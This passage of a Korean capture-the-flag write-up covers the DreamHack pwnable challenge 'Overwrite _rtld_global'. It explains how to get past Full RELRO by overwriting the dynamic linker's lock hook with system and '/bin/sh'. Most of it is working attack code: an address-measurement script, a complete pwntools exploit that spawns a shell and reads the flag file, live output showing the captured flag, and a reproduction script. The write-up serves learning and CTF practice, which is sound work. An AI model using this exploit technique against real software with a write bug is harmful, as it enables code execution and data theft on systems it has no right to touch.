์ฝ๊ธฐ ์›์‹œ๊ฐ€ ์—†์œผ๋‹ˆ ๋Ÿฐํƒ€์ž„์— ์•Œ์•„๋‚ผ ๋ฐฉ๋ฒ•์€ ์—†๋‹ค. ๋Œ€์‹  ์ด ๊ฑฐ๋ฆฌ๋Š” ๊ณ ์ •์ด๋‹ค.

์ปค๋„์€ ELF ์ธํ„ฐํ”„๋ฆฌํ„ฐ(ld.so)๋ฅผ mmap ์˜์—ญ ํ•œ์ชฝ์— ์˜ฌ๋ฆฌ๊ณ , ๊ทธ ๋‹ค์Œ๋ถ€ํ„ฐ๋Š” ld.so๊ฐ€ ํ•„์š”ํ•œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์ง์ ‘ mmapํ•œ๋‹ค. ์ด ํ”„๋กœ๊ทธ๋žจ์ด ๋งํฌํ•˜๋Š” ๊ฑด libc ํ•˜๋‚˜๋ฟ์ด๋ผ ๋ฐฐ์น˜๊ฐ€ ๋‹จ์ˆœํ•˜๋‹ค. libc๊ฐ€ ํ†ต์งธ๋กœ ๋งคํ•‘๋œ ๋ฐ”๋กœ ์œ„์— ld.so๊ฐ€ ์•‰๋Š”๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ๋‘˜ ์‚ฌ์ด ๊ฑฐ๋ฆฌ๋Š” libc ๋งคํ•‘์˜ ์ด ํฌ๊ธฐ๋กœ๋งŒ ์ •ํ•ด์ง€๊ณ , ASLR๋กœ ๋ฒ ์ด์Šค๊ฐ€ ํ†ต์งธ๋กœ ์›€์ง์—ฌ๋„ ์ƒ๋Œ€ ๊ฑฐ๋ฆฌ๋Š” ๋ณ€ํ•˜์ง€ ์•Š๋Š”๋‹ค.

๊ณ„์‚ฐ์œผ๋กœ๋Š” libc ๋งคํ•‘ 0x3ED000์— bss ๋’ค ์ต๋ช… ํŽ˜์ด์ง€ 0x4000์„ ๋”ํ•ด 0x3F1000์ด๋‹ค. ํ•˜์ง€๋งŒ ๊ณ„์‚ฐ๋งŒ ๋ฏฟ๊ธฐ์—” ๋ถˆ์•ˆํ•ด์„œ ์‹ค์ œ๋กœ ์žฌ ๋ดค๋‹ค.

๋ฌธ์ œ๊ฐ€ ์ค€ Dockerfile์„ ๊ทธ๋Œ€๋กœ ๋นŒ๋“œํ•˜๋ฉด ์›๊ฒฉ๊ณผ ๊ฐ™์€ ํ™˜๊ฒฝ์ด ๋‚˜์˜จ๋‹ค. ๋ฒ ์ด์Šค ์ด๋ฏธ์ง€๊ฐ€ ๋‹ค์ด์ œ์ŠคํŠธ๋กœ ๊ณ ์ •๋ผ ์žˆ์–ด์„œ(ubuntu:18.04@sha256:d1d454df...) ์ง€๊ธˆ ๋นŒ๋“œํ•ด๋„ 2022๋…„ ๋‹น์‹œ์™€ ๊ฐ™์€ libc๊ฐ€ ๋“ค์–ด์˜จ๋‹ค. ์‹ค์ œ๋กœ ์ปจํ…Œ์ด๋„ˆ ์•ˆ์˜ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์™€ ๋ฌธ์ œ๊ฐ€ ์ค€ ํŒŒ์ผ์˜ md5๊ฐ€ ๊ฐ™์•˜๋‹ค.

#!/usr/bin/env bash
# ๋ฌธ์ œ Dockerfile ๋กœ ๋งŒ๋“  ์ปจํ…Œ์ด๋„ˆ(ow_rtld_local) ์•ˆ์—์„œ ow_rtld ๋ฅผ ๋„์šฐ๊ณ 
# /proc/<pid>/maps ๋กœ libcยทld ๋งคํ•‘ ์‹œ์ž‘์ฃผ์†Œ๋ฅผ ์ฝ์–ด, ๋‘˜์˜ ๊ฑฐ๋ฆฌ๊ฐ€ ์‹คํ–‰๋งˆ๋‹ค ๊ณ ์ •์ธ์ง€ ๋ณธ๋‹ค.
# ASLR ์€ ์ผœ์ ธ ์žˆ์œผ๋ฏ€๋กœ(ํ˜ธ์ŠคํŠธ randomize_va_space=2) ๋งค๋ฒˆ ๋ฒ ์ด์Šค๋Š” ๋‹ฌ๋ผ์ ธ์•ผ ์ •์ƒ์ด๋‹ค.
set -eu
for i in 1 2 3 4; do
  docker run --rm ow_rtld_local sh -c \
    '(sleep 3 | /home/ow_rtld/ow_rtld >/dev/null) & p=$!; sleep 1;
     grep -E "r-xp .*(libc-2.27|ld-2.27)" /proc/$p/maps' \
  | python3 -c '
import sys
libc = ld = None
for line in sys.stdin:
    a = int(line.split("-")[0], 16)
    if "libc-2.27" in line:
        libc = a
    elif "ld-2.27" in line:
        ld = a
print("libc=0x%x   ld=0x%x   ld-libc=0x%x" % (libc, ld, ld - libc))
'
done

์ปจํ…Œ์ด๋„ˆ๋ฅผ ๋„ค ๋ฒˆ ๋„์›Œ ์ธก์ •ํ•œ ๊ฒฐ๊ณผ โ€” ๋ฒ ์ด์Šค ์ฃผ์†Œ๋Š” ๋งค๋ฒˆ ๋‹ค๋ฅด์ง€๋งŒ ld์™€ libc์˜ ๊ฑฐ๋ฆฌ๋Š” ์–ธ์ œ๋‚˜ 0x3f1000์œผ๋กœ ๊ฐ™๋‹ค
์ปจํ…Œ์ด๋„ˆ๋ฅผ ๋„ค ๋ฒˆ ๋„์›Œ ์ธก์ •ํ•œ ๊ฒฐ๊ณผ โ€” ๋ฒ ์ด์Šค ์ฃผ์†Œ๋Š” ๋งค๋ฒˆ ๋‹ค๋ฅด์ง€๋งŒ ld์™€ libc์˜ ๊ฑฐ๋ฆฌ๋Š” ์–ธ์ œ๋‚˜ 0x3f1000์œผ๋กœ ๊ฐ™๋‹ค

๋„ค ๋ฒˆ ๋‹ค ๋ฒ ์ด์Šค๋Š” ๋‹ค๋ฅด๊ณ  ๊ฑฐ๋ฆฌ๋Š” 0x3f1000์œผ๋กœ ๊ฐ™๋‹ค. ASLR์€ ์ผœ์ ธ ์žˆ๊ณ  (ํ˜ธ์ŠคํŠธ randomize_va_space๊ฐ€ 2) ์ƒ๋Œ€ ๊ฑฐ๋ฆฌ๋งŒ ๊ณ ์ •์ด๋ผ๋Š” ๋œป์ด๋‹ค.

socat์ด forkํ•ด์„œ ๋„์šด ์‹ค์ œ ์ฑŒ๋ฆฐ์ง€ ํ”„๋กœ์„ธ์Šค์—์„œ๋„ ๊ฐ™์€ ๊ฐ’์ด ๋‚˜์˜ค๋Š”์ง€ ๋”ฐ๋กœ ํ™•์ธํ–ˆ๋‹ค. ์ปจํ…Œ์ด๋„ˆ๋ฅผ ๋„์›Œ ๋‘๊ณ  ์ ‘์†ํ•œ ์ƒํƒœ์—์„œ /proc/<pid>/maps๋ฅผ ์ฝ์–ด ๋ณด๋ฉด 0x3f1000์ด๋‹ค. ์ต์Šค๊ฐ€ ์‹ค์ œ๋กœ ๋ถ™๋Š” ๋Œ€์ƒ์ด ๊ทธ ํ”„๋กœ์„ธ์Šค์ด๋ฏ€๋กœ ์ด ํ™•์ธ์ด ์žˆ์–ด์•ผ ์•ˆ์‹ฌํ•  ์ˆ˜ ์žˆ๋‹ค.

์ •๋ฆฌํ•˜๋ฉด ์ด๋ ‡๋‹ค.

libc_base   = leak - 0x3ec760
ld_base     = libc_base + 0x3f1000
rtld_global = ld_base + 0x228060
system      = libc_base + 0x4f440

๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡ ์กฐ๋ฆฝ

ํ•„์š”ํ•œ ์“ฐ๊ธฐ๋Š” ๋‘ ๋ฒˆ๋ฟ์ด๋‹ค.

์ฒซ ๋ฒˆ์งธ โ€” _rtld_global+0x908์— /bin/sh\0. _dl_fini๊ฐ€ lea rdi,[_rtld_global+0x908]๋กœ ์ด ์ฃผ์†Œ๋ฅผ ์ธ์ž์— ์‹ฃ๋Š”๋‹ค. ๋ฌธ์ž์—ด์„ ๋‹ค๋ฅธ ๋ฐ ๋‘˜ ํ•„์š”๊ฐ€ ์—†๋‹ค. rdi๋ฅผ ์šฐ๋ฆฌ๊ฐ€ ๋ชป ๊ณ ๋ฅด๋‹ˆ, rdi๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋Š” ๊ณณ์— ๋ฌธ์ž์—ด์„ ๊ฐ–๋‹ค ๋‘๋Š” ์ชฝ์ด ๋งž๋‹ค. 8๋ฐ”์ดํŠธ ๋ฆฌํ‹€์—”๋””์–ธ์œผ๋กœ๋Š” 0x0068732f6e69622f.

๋‘ ๋ฒˆ์งธ โ€” _rtld_global+0xF00์— system.

์—ฌ๊ธฐ์„œ ๋ฎคํ…์Šค๊ฐ€ ๊นจ์ง€๋Š” ๊ฑธ ๊ฑฑ์ •ํ•  ํ•„์š”๋Š” ์—†๋‹ค. _dl_load_lock์€ dlopen/dlclose๊ฐ€ ์“ฐ๋Š” ๋ฝ์ธ๋ฐ ์ด ํ”„๋กœ๊ทธ๋žจ์€ ๋‘˜ ๋‹ค ์•ˆ ๋ถ€๋ฅธ๋‹ค. ์šฐ๋ฆฌ๊ฐ€ ์“ด ์‹œ์ ๋ถ€ํ„ฐ _dl_fini๊ฐ€ ๋ถˆ๋ฆด ๋•Œ๊นŒ์ง€ ๊ทธ ๋ฎคํ…์Šค๋ฅผ ๊ฑด๋“œ๋ฆฌ๋Š” ์ฝ”๋“œ๊ฐ€ ์—†๋‹ค.

๋งˆ์ง€๋ง‰ โ€” ๋ฉ”๋‰ด์— 0์„ ๋ณด๋‚ธ๋‹ค. switch์˜ default๋กœ ๋น ์ ธ main์ด ๋ฆฌํ„ดํ•˜๊ณ , exit โ†’ __run_exit_handlers โ†’ _dl_fini โ†’ system("/bin/sh") ์ˆœ์œผ๋กœ ์ด์–ด์ง„๋‹ค.

scanf("%ld")๊ฐ€ ๋ถ€ํ˜ธ ์žˆ๋Š” 10์ง„์ˆ˜๋ฅผ ๋ฐ›์œผ๋ฏ€๋กœ ์ฃผ์†Œ๋„ ๊ฐ’๋„ ์‹ญ์ง„์ˆ˜ ๋ฌธ์ž์—ด๋กœ ๋ณด๋‚ด๋ฉด ๋œ๋‹ค. ์ด ๋ฌธ์ œ์˜ ์ฃผ์†Œ๋Š” ์ „๋ถ€ 0x7f... ๋Œ€์—ญ์ด๋ผ ๋ถ€ํ˜ธ ์žˆ๋Š” 64๋น„ํŠธ ๋ฒ”์œ„ ์•ˆ์ด๊ณ , ๊ทธ๋Œ€๋กœ ํ†ตํ•œ๋‹ค.

๋กœ์ปฌ ๋ณต์ œ๋ณธ์— ๋จผ์ € ๋ถ™์˜€๋‹ค. ๋ฌธ์ œ Dockerfile ๊ทธ๋Œ€๋กœ ๋นŒ๋“œํ•ด socat๊นŒ์ง€ ๋˜‘๊ฐ™์ด ๋„์šด ์ปจํ…Œ์ด๋„ˆ๋‹ค.

mkdir -p build && cp extracted/Dockerfile extracted/ow_rtld build/
printf 'DH{LOCAL_FAKE_FLAG_ow_rtld_test}\n' > build/flag
docker build -t ow_rtld_local build/
docker run -d --rm --name ow_rtld_test -p 7182:7182 ow_rtld_local

์ธ์ž ์—†์ด solve.py๋ฅผ ๋Œ๋ฆฌ๋ฉด 127.0.0.1:7182๋กœ ๋ถ™๋Š”๋‹ค.

๋กœ์ปฌ ๋„์ปค ๋ณต์ œ๋ณธ์„ ์ƒ๋Œ€๋กœ ๋Œ๋ฆฐ ๊ฒฐ๊ณผ โ€” ow_rtld ์‚ฌ์šฉ์ž ๊ถŒํ•œ ์…ธ์„ ์žก๊ณ  ์ปจํ…Œ์ด๋„ˆ์— ์‹ฌ์–ด ๋‘” ๋”๋ฏธ flag ํŒŒ์ผ์„ ์ฝ์–ด ์™”๋‹ค
๋กœ์ปฌ ๋„์ปค ๋ณต์ œ๋ณธ์„ ์ƒ๋Œ€๋กœ ๋Œ๋ฆฐ ๊ฒฐ๊ณผ โ€” ow_rtld ์‚ฌ์šฉ์ž ๊ถŒํ•œ ์…ธ์„ ์žก๊ณ  ์ปจํ…Œ์ด๋„ˆ์— ์‹ฌ์–ด ๋‘” ๋”๋ฏธ flag ํŒŒ์ผ์„ ์ฝ์–ด ์™”๋‹ค

uid=1000(ow_rtld)๋กœ ์…ธ์ด ๋–ด๊ณ  flag ํŒŒ์ผ์ด ์ฝํ˜”๋‹ค. ์—ฌ๊ธฐ ๋ณด์ด๋Š” DH{LOCAL_FAKE_FLAG_ow_rtld_test}๋Š” ๋กœ์ปฌ ๋นŒ๋“œ์— ๋‚ด๊ฐ€ ๋„ฃ์–ด ๋‘” ๋”๋ฏธ๋‹ค. ์ง„์งœ flag๋Š” ๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค์—์„œ๋งŒ ๋‚˜์˜จ๋‹ค.



๐Ÿš€ Full Exploit

solve.py ์ „๋ฌธ์ด๋‹ค. ์ธ์ž ์—†์ด ๋Œ๋ฆฌ๋ฉด ์œ„์˜ ๋กœ์ปฌ ๋ณต์ œ๋ณธ, ํ˜ธ์ŠคํŠธ์™€ ํฌํŠธ๋ฅผ ์ฃผ๋ฉด ๋ผ์ด๋ธŒ ์„œ๋ฒ„๋กœ ๋ถ™๋Š”๋‹ค.

#!/usr/bin/env python3
# Overwrite _rtld_global (DreamHack, Bronze 2 / pwnable)
#
#   ์‚ฌ์šฉ๋ฒ•
#     ๋กœ์ปฌ(๋„์ปค ๋ณต์ œ๋ณธ, ๊ธฐ๋ณธ๊ฐ’):  python3 solve.py
#     ์›๊ฒฉ:                       python3 solve.py host3.dreamhack.games 12345
#
#   ๋กœ์ปฌ ๋ณต์ œ๋ณธ ๋„์šฐ๋Š” ๋ฒ• (๋ฌธ์ œ Dockerfile ๊ทธ๋Œ€๋กœ):
#     cd build && docker build -t ow_rtld_local . && \
#     docker run --rm -p 7182:7182 ow_rtld_local
#
# ์ทจ์•ฝ์ : main ์˜ while(1) ์•ˆ์—์„œ *(long long *)addr = data ๊ฐ€ ๋ฌด์ œํ•œ ์ž„์˜ ์ฃผ์†Œ ์“ฐ๊ธฐ.
#         Full RELRO ๋ผ GOT ๋Š” ๋ชป ๊ฑด๋“œ๋ฆฌ์ง€๋งŒ, ld.so ์˜ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์ „์—ญ _rtld_global ์€
#         RELRO ๋Œ€์ƒ์ด ์•„๋‹ˆ๋‹ค. ์ข…๋ฃŒ ์‹œ _dl_fini() ๊ฐ€
#             _rtld_global._dl_rtld_lock_recursive(&_rtld_global._dl_load_lock.mutex)
#         ๋ฅผ ํ˜ธ์ถœํ•˜๋ฏ€๋กœ, ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ system ์œผ๋กœ, ์ธ์ž ์ž๋ฆฌ๋ฅผ "/bin/sh" ๋กœ ๋ฐ”๊ฟ”์น˜๊ธฐํ•œ๋‹ค.
 
import re
import sys
import time
 
from pwn import *
 
context.arch = "amd64"
context.log_level = "info"
 
# ---- ์ œ๊ณต๋œ libc-2.27.so / ld-2.27.so ์—์„œ ๋ฝ‘์€ ์ƒ์ˆ˜ -------------------------
LIBC_STDOUT = 0x3EC760   # readelf --dyn-syms libc-2.27.so | grep _IO_2_1_stdout_
LIBC_SYSTEM = 0x0004F440 # readelf --dyn-syms libc-2.27.so | grep ' system@@'
LD_RTLD_GLOBAL = 0x228060  # readelf --dyn-syms ld-2.27.so | grep _rtld_global@@
 
# _rtld_global ๋‚ด๋ถ€ ์˜คํ”„์…‹ (glibc 2.27 x86-64, objdump/gdb ๋กœ ํ™•์ธ)
#   +0xF00 lock   -> add DWORD PTR [rdi+0x4],1 ; ret
#   +0xF08 unlock -> sub DWORD PTR [rdi+0x4],1 ; ret
# _dl_fini ๋Š” lock ์„ ๋จผ์ € ๋ถ€๋ฅธ๋‹ค. unlock(+0xF08) ์„ ๋ฎ์œผ๋ฉด ๊ทธ ์ „์— ์‹คํ–‰๋œ ์ง„์งœ lock ์ด
# mutex.__count(= ๋ฌธ์ž์—ด 4๋ฒˆ์งธ ๋ฐ”์ดํŠธ) ๋ฅผ +1 ํ•ด๋ฒ„๋ ค "/bin/sh" ๊ฐ€ "/bin0sh" ๊ฐ€ ๋œ๋‹ค.
OFF_LOAD_LOCK = 0x908    # &_rtld_global._dl_load_lock.mutex  -> _dl_fini ๊ฐ€ rdi ๋กœ ๋„˜๊น€
OFF_LOCK_FPTR = 0xF00    # _rtld_global._dl_rtld_lock_recursive
 
# ld.so ์™€ libc ๋Š” ํ•ญ์ƒ ๋ถ™์–ด์„œ ๋งคํ•‘๋œ๋‹ค. ๊ทธ ๊ฑฐ๋ฆฌ๋Š” libc ๋งคํ•‘ ํฌ๊ธฐ๋กœ๋งŒ ์ •ํ•ด์ ธ ๊ณ ์ •.
#   ld_base - libc_base = 0x3ED000(libc ๋งคํ•‘) + 0x4000(bss ๋’ค ์ต๋ช… ํŽ˜์ด์ง€) = 0x3F1000
LD_DELTA = 0x3F1000
# ----------------------------------------------------------------------------
 
 
def write64(io, addr, data):
    """arbitrary write ํ•œ ๋ฒˆ: idx=1 -> addr -> data"""
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"addr: ", str(addr).encode())
    io.sendlineafter(b"data: ", str(data).encode())
 
 
def main():
    if len(sys.argv) >= 3:
        io = remote(sys.argv[1], int(sys.argv[2]))
    else:
        io = remote("127.0.0.1", 7182)
 
    # 1) main ์ฒซ ์ค„์ด stdout(=libc ์˜ _IO_2_1_stdout_) ์ฃผ์†Œ๋ฅผ ๊ทธ๋ƒฅ ์•Œ๋ ค์ค€๋‹ค
    io.recvuntil(b"stdout: ")
    leak = int(io.recvline().strip(), 16)
    libc = leak - LIBC_STDOUT
    ld = libc + LD_DELTA
    rtld_global = ld + LD_RTLD_GLOBAL
 
    log.success("stdout leak  : %#x", leak)
    log.success("libc base    : %#x", libc)
    log.success("ld base      : %#x  (libc + %#x)", ld, LD_DELTA)
    log.success("_rtld_global : %#x", rtld_global)
 
    system = libc + LIBC_SYSTEM
    log.success("system       : %#x", system)
 
    # 2) _dl_fini ๊ฐ€ ์ธ์ž๋กœ ๋„˜๊ธธ &_dl_load_lock.mutex ์ž๋ฆฌ์— "/bin/sh" ๋ฅผ ๋ฐ•๋Š”๋‹ค
    binsh = u64(b"/bin/sh\x00")
    write64(io, rtld_global + OFF_LOAD_LOCK, binsh)
 
    # 3) ๊ทธ ์ž๋ฆฌ๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ system ์œผ๋กœ
    write64(io, rtld_global + OFF_LOCK_FPTR, system)
 
    # 4) idx ๋ฅผ 1 ์ด์™ธ์˜ ๊ฐ’์œผ๋กœ -> main return -> exit -> _dl_fini -> system("/bin/sh")
    io.sendlineafter(b"> ", b"0")
 
    time.sleep(0.5)
    io.sendline(b"id; cat /home/ow_rtld/flag")
    out = io.recvrepeat(3).decode(errors="replace")
    print(out, end="")
    io.close()
 
    m = re.search(r"DH\{[^}]*\}", out)
    if m:
        log.success("FLAG: %s", m.group(0))
    else:
        log.failure("flag ๋ฅผ ๋ชป ๋ฐ›์•˜๋‹ค โ€” ์…ธ์ด ์•ˆ ๋–ด๊ฑฐ๋‚˜ ์ธ์Šคํ„ด์Šค๊ฐ€ ๋งŒ๋ฃŒ๋๋‹ค")
        sys.exit(1)
 
 
if __name__ == "__main__":
    main()

๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค์— ๋ถ™์ธ ๊ฒฐ๊ณผ๋‹ค. ํฌํŠธ๋Š” VM์„ ์ƒˆ๋กœ ๋„์šธ ๋•Œ๋งˆ๋‹ค ๋ฐ”๋€๋‹ค.

๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค๋ฅผ ์ƒ๋Œ€๋กœ solve.py๋ฅผ ๋Œ๋ฆฐ ๊ฒฐ๊ณผ โ€” ์œ ์ถœํ•œ ์ฃผ์†Œ๋“ค์ด ์ˆœ์„œ๋Œ€๋กœ ์ฐํžˆ๊ณ  ์…ธ์„ ์žก์•„ ์‹ค์ œ flag ํŒŒ์ผ์„ ์ฝ์–ด ์™”๋‹ค
๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค๋ฅผ ์ƒ๋Œ€๋กœ solve.py๋ฅผ ๋Œ๋ฆฐ ๊ฒฐ๊ณผ โ€” ์œ ์ถœํ•œ ์ฃผ์†Œ๋“ค์ด ์ˆœ์„œ๋Œ€๋กœ ์ฐํžˆ๊ณ  ์…ธ์„ ์žก์•„ ์‹ค์ œ flag ํŒŒ์ผ์„ ์ฝ์–ด ์™”๋‹ค

[+] stdout leak  : 0x7f4e2c5de760
[+] libc base    : 0x7f4e2c1f2000
[+] ld base      : 0x7f4e2c5e3000  (libc + 0x3f1000)
[+] _rtld_global : 0x7f4e2c80b060
[+] system       : 0x7f4e2c241440
uid=1000(ow_rtld) gid=1000(ow_rtld) groups=1000(ow_rtld)
DH{a5bd416ee5f23da9f378c1b5d177b99366141f93beb3eabfa5b74abcf83f4293}

๐Ÿงช ์žฌํ˜„

reproduce.sh ํ•˜๋‚˜๋กœ ๋นŒ๋“œ๋ถ€ํ„ฐ ๊ฒ€์ฆ๊นŒ์ง€ ๋๋‚˜๊ฒŒ ํ•ด ๋’€๋‹ค. ์ธ์ž๋ฅผ ์•ˆ ์ฃผ๋ฉด ๋กœ์ปฌ ๋„์ปค ๋ณต์ œ๋ณธ์œผ๋กœ ๊ธฐ๋ฒ•๋งŒ ํ™•์ธํ•˜๊ณ , ํ˜ธ์ŠคํŠธ์™€ ํฌํŠธ๋ฅผ ์ฃผ๋ฉด ์ง„์งœ flag๋ฅผ ๋Œ€์กฐํ•œ๋‹ค.

#!/usr/bin/env bash
# Overwrite _rtld_global (DreamHack Bronze 2, pwnable) โ€” ํ•œ ๋ฐฉ ์žฌํ˜„.
#
#   ./reproduce.sh                       ๋กœ์ปฌ ๋„์ปค ๋ณต์ œ๋ณธ์œผ๋กœ ๊ธฐ๋ฒ• ๊ฒ€์ฆ (์ง„์งœ flag ์•„๋‹˜)
#   ./reproduce.sh host3.dreamhack.games 15889     ๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค โ†’ ์ง„์งœ flag ๋Œ€์กฐ
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
EXPECT=$(python3 -c "import json;print(json.load(open('๋ฌธ์ œ.json'))['flag'])" 2>/dev/null || echo '')
 
if [ "$#" -ge 2 ]; then
  # ---- ๋ผ์ด๋ธŒ: ์ง„์งœ flag ----
  OUT=$(timeout 300 python3 solve.py "$1" "$2" 2>&1) || true
  echo "$OUT" | tail -10
  FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
  if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
    echo; echo "โœ… PASS  $FLAG"; exit 0
  fi
  echo; echo "โŒ FAIL (์–ป์€ ๊ฐ’: '${FLAG:-์—†์Œ}' / ๊ธฐ๋Œ€: '${EXPECT:-๋Œ€์กฐ๋ณธ์—†์Œ}')"; exit 1
fi
 
# ---- ๋กœ์ปฌ: ๋ฌธ์ œ Dockerfile ๊ทธ๋Œ€๋กœ ๋ณต์ œํ•ด ๊ธฐ๋ฒ•๋งŒ ๊ฒ€์ฆ ----
echo "[*] ๋กœ์ปฌ ๋ณต์ œ๋ณธ ๋นŒ๋“œ (๋ฌธ์ œ Dockerfile ยท ubuntu:18.04 pinned digest)"
mkdir -p build
cp extracted/Dockerfile extracted/ow_rtld build/
printf 'DH{LOCAL_FAKE_FLAG_ow_rtld_test}\n' > build/flag
docker build -q -t ow_rtld_local build/ >/dev/null
 
docker rm -f ow_rtld_repro >/dev/null 2>&1 || true
docker run -d --rm --name ow_rtld_repro -p 7182:7182 ow_rtld_local >/dev/null
sleep 2
OUT=$(timeout 120 python3 solve.py 2>&1) || true
docker rm -f ow_rtld_repro >/dev/null 2>&1 || true
 
echo "$OUT" | tail -10
if printf '%s' "$OUT" | grep -q 'DH{LOCAL_FAKE_FLAG_ow_rtld_test}'; then
  echo
  echo "โœ… LOCAL-OK  _rtld_global ๋ฎ์–ด์“ฐ๊ธฐ โ†’ ์…ธ ํš๋“ ํ™•์ธ"
  echo "   โš ๏ธ ์œ„ flag ๋Š” ์ด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹ฌ์–ด ๋‘” ๋กœ์ปฌ ๋”๋ฏธ๋‹ค. ์ง„์งœ flag ๋Š” ๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค์—์„œ๋งŒ ๋‚˜์˜จ๋‹ค:"
  echo "      ./reproduce.sh <host> <port>"
  exit 0
fi
echo; echo "โŒ FAIL โ€” ๋กœ์ปฌ ๋ณต์ œ๋ณธ์—์„œ ์…ธ์„ ๋ชป ์žก์•˜๋‹ค"; exit 1

LD_DELTA๋Š” ์ด ํ™˜๊ฒฝ(Ubuntu 18.04 + ์ด libc)์— ๋ฌถ์ธ ๊ฐ’์ด๋‹ค. ๋‹ค๋ฅธ ๋ฐฐํฌํŒ์ด๋‚˜ ๋‹ค๋ฅธ libc ๋ฒ„์ „์—์„œ ์žฌํ˜„ํ•  ๊ฑฐ๋ฉด check_delta.sh๋ฅผ ๋จผ์ € ๋Œ๋ ค ์ž๊ธฐ ํ™˜๊ฒฝ์˜ ๊ฑฐ๋ฆฌ๋ฅผ ๋‹ค์‹œ ์žฌ์•ผ ํ•œ๋‹ค. ๊ทธ๊ฒŒ ์ด ์ต์Šค์—์„œ ์œ ์ผํ•˜๊ฒŒ ํ™˜๊ฒฝ์„ ํƒ€๋Š” ์ƒ์ˆ˜๋‹ค.

gdb ์•ˆ์—์„œ๋Š” ์ด ๊ฐ’์ด 0x400000์œผ๋กœ ๋‚˜์˜จ๋‹ค. gdb๊ฐ€ ๊ธฐ๋ณธ์œผ๋กœ ASLR์„ ๋„๋ฉด์„œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ 0x7ffff7... ๋Œ€์—ญ์— ๊ทœ์น™์ ์œผ๋กœ ์˜ฌ๋ฆฌ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. 0x3f1000์€ ASLR์ด ์ผœ์ง„ ์‹ค์ œ ํ™˜๊ฒฝ์—์„œ๋งŒ ๋‚˜์˜ค๋Š” ๊ฐ’์ด๋ผ, ๋””๋ฒ„๊ฑฐ์—์„œ ์žฐ ๊ฑฐ๋ฆฌ๋ฅผ ๊ทธ๋Œ€๋กœ ์›๊ฒฉ์— ์“ฐ๋ฉด ์–ด๊ธ‹๋‚œ๋‹ค. ๊ฑฐ๋ฆฌ๋Š” ๋ฐ˜๋“œ์‹œ ์ปจํ…Œ์ด๋„ˆ ์ชฝ ์ˆซ์ž๋ฅผ ์จ์•ผ ํ•œ๋‹ค.



๐Ÿ“ ๊ฒฐ๋ก 

RELRO๋Š” "GOT๋ฅผ ์ž ๊ทผ๋‹ค"์ด์ง€ "ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ์—†์•ค๋‹ค"๊ฐ€ ์•„๋‹ˆ๋‹ค.

Full RELRO๋ฅผ ์ผœ๋ฉด GOT ๋ฎ์–ด์“ฐ๊ธฐ๋Š” ํ™•์‹คํžˆ ๋ง‰ํžŒ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ํ”„๋กœ์„ธ์Šค ์ฃผ์†Œ ๊ณต๊ฐ„์—๋Š” GOT ๋ง๊ณ ๋„ ํ˜ธ์ถœ๋˜๋Š” ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๊ฐ€ ๋„๋ ค ์žˆ๋‹ค. ์ด ๋ฌธ์ œ๋Š” ๊ทธ์ค‘์—์„œ๋„ ๊ฐ€์žฅ ์ง€์šฐ๊ธฐ ์–ด๋ ค์šด ๊ฒƒ, ๋™์  ๋ง์ปค ์ž์‹ ์˜ ๋ฝ ํ›…์„ ๊ณจ๋ž๋‹ค. _rtld_global์€ ๋ง์ปค๊ฐ€ ์‹คํ–‰ ๋‚ด๋‚ด ๊ฐฑ์‹ ํ•ด์•ผ ํ•˜๋Š” ์ƒํƒœ๋ผ ์ฝ๊ธฐ ์ „์šฉ์œผ๋กœ ๋งŒ๋“ค ์ˆ˜๊ฐ€ ์—†๊ณ , ๊ทธ๋ž˜์„œ ์™„ํ™” ๊ธฐ๋ฒ•์˜ ์‚ฌ๊ฐ์ง€๋Œ€๋กœ ๋‚จ์•˜๋‹ค.

ํ‘œ์ ์„ ๊ณ ๋ฅผ ๋•Œ๋Š” "์–ธ์ œ ๋ถˆ๋ฆฌ๋Š”๊ฐ€"๊ฐ€ "๋ฌด์—‡์„ ๋ถ€๋ฅด๋Š”๊ฐ€"๋งŒํผ ์ค‘์š”ํ•˜๋‹ค.

